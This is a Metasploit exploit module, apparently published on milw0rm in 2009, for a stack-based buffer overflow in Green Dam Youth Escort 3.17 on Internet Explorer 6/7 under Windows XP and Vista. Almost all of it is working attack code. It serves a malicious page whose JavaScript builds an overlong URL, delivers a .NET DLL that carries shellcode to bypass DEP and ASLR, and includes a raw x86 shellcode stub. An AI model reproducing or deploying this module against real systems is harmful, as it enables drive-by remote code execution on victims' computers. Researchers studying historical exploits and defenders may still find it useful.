Green Dam 3.17 URL Processing Buffer Overflow Exploit (Metasploit)



##

# greendam_url.rb
#
# Green Dam URL Processing Buffer Overflow exploit for the Metasploit Framework
#
# Green Dam Youth Escort 3.17 successfully exploited on the following platforms:
#  - Internet Explorer 6, Windows XP SP2
#  - Internet Explorer 7, Windows XP SP3
#  - Internet Explorer 7, Windows Vista SP1

# .NET binary is used to bypass DEP and ASLR
#
# Trancer
# http://www.rec-sec.com
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

    include Msf::Exploit::Remote::HttpServer::HTML

    def initialize(info = {})
        super(update_info(info,
            'Name'           => 'Green Dam URL Processing Buffer Overflow',
            'Description'    => %q{
                This module exploits a stack-based buffer overflow in Green Dam Youth Escort   
                version 3.17 in the way it handles overly long URLs.
                By setting an overly long URL, an attacker can overrun a buffer and execute 
                arbitrary code. This module uses the .NET DLL memory technique by Alexander 
                Sotirov and Mark Dowd and should bypass DEP, NX and ASLR.
            },
            'License'        => MSF_LICENSE,
            'Author'         => [ 'Trancer <mtrancer[at]gmail.com>' ], 
            'Version'        => '$Revision:$',
            'References'     => 
                [
                    ['URL', 'http://www.cse.umich.edu/~jhalderm/pub/gd/'],        # Analysis of the Green Dam Censorware System
                    ['URL', 'http://www.milw0rm.com/exploits/8938'],        # Original exploit by seer[N.N.U]
                    ['URL', 'http://taossa.com/archive/bh08sotirovdowd.pdf'],    # .NET DLL memory technique
                ],
            'DefaultOptions' =>
                {
                    'EXITFUNC' => 'process',
                },
            'Payload'        =>
                {
                    'Space'    => 1000,
                    'BadChars' => "\x00",
                    'Compat'   => 
                        {
                            'ConnectionType' => '-find',
                        },
                    'StackAdjustment' => -3500,
                    
                    # Temporary stub virtualalloc() + memcpy() payload to RWX page
                    'PrependEncoder' =>
                        "\xe8\x56\x00\x00\x00\x53\x55\x56\x57\x8b\x6c\x24\x18\x8b\x45\x3c"+
                        "\x8b\x54\x05\x78\x01\xea\x8b\x4a\x18\x8b\x5a\x20\x01\xeb\xe3\x32"+
                        "\x49\x8b\x34\x8b\x01\xee\x31\xff\xfc\x31\xc0\xac\x38\xe0\x74\x07"+
                        "\xc1\xcf\x0d\x01\xc7\xeb\xf2\x3b\x7c\x24\x14\x75\xe1\x8b\x5a\x24"+
                        "\x01\xeb\x66\x8b\x0c\x4b\x8b\x5a\x1c\x01\xeb\x8b\x04\x8b\x01\xe8"+
                        "\xeb\x02\x31\xc0\x5f\x5e\x5d\x5b\xc2\x08\x00\x5e\x6a\x30\x59\x64"+
                        "\x8b\x19\x8b\x5b\x0c\x8b\x5b\x1c\x8b\x1b\x8b\x5b\x08\x53\x68\x54"+
                        "\xca\xaf\x91\xff\xd6\x6a\x40\x5e\x56\xc1\xe6\x06\x56\xc1\xe6\x08"+
                        "\x56\x6a\x00\xff\xd0\x89\xc3\xeb\x0d\x5e\x89\xdf\xb9\xe8\x03\x00"+
                        "\x00\xfc\xf3\xa4\xff\xe3\xe8\xee\xff\xff\xff"
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Windows XP SP0-SP3 / Windows Vista SP0-SP1 / IE 6.0 SP0-2 & IE 7.0', { }],
                ],
            'DisclosureDate' => 'Jun 11 2009',
            'DefaultTarget'  => 0))
    end

    def on_request_uri(cli, request)
    
        ibase = 0x24240000
        vaddr = ibase + 0x2065

        if (request.uri.match(/\.dll$/i))

            print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...")

            return if ((p = regenerate_payload(cli)) == nil)
    
            # First entry points to the table of pointers
            vtable  = [ vaddr + 4 ].pack("V")
            cbase   = ibase + 0x2065 + (256 * 4)

            # Build a function table
            255.times { vtable << [cbase].pack("V") }

            # Append the shellcode
            vtable << p.encoded
            send_response(
                cli, 
                Rex::Text.to_dotnetmem(ibase, vtable), 
                {
                    'Content-Type' => 'application/x-msdownload',
                    'Connection'   => 'close',
                    'Pragma'       => 'no-cache'
                }
            )
            return
        end

        print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")

        j_function    = rand_text_alpha(rand(100)+1)
        j_url        = rand_text_alpha(rand(100)+1)
        j_counter    = rand_text_alpha(rand(30)+2)

        html = %Q|<html>
<head>
<script language="javascript">
    function #{j_function}() {
        var #{j_url}='';
        for(var #{j_counter}=1;#{j_counter}<=2035;#{j_counter}++)
            #{j_url}+='$';

        window.location=#{j_url}+'.html';
    }    
</script>
</head>
<body onload="#{j_function}()">
    <object classid="#{get_resource + "/generic-" + Time.now.to_i.to_s + ".dll"}#GenericControl">
    <object>
</body>
</html>
        |

        # Transmit the compressed response to the client
        send_response(cli, html, { 'Content-Type' => 'text/html' })
        
        # Handle the payload
        handler(cli)
    end
end

# milw0rm.com [2009-06-16]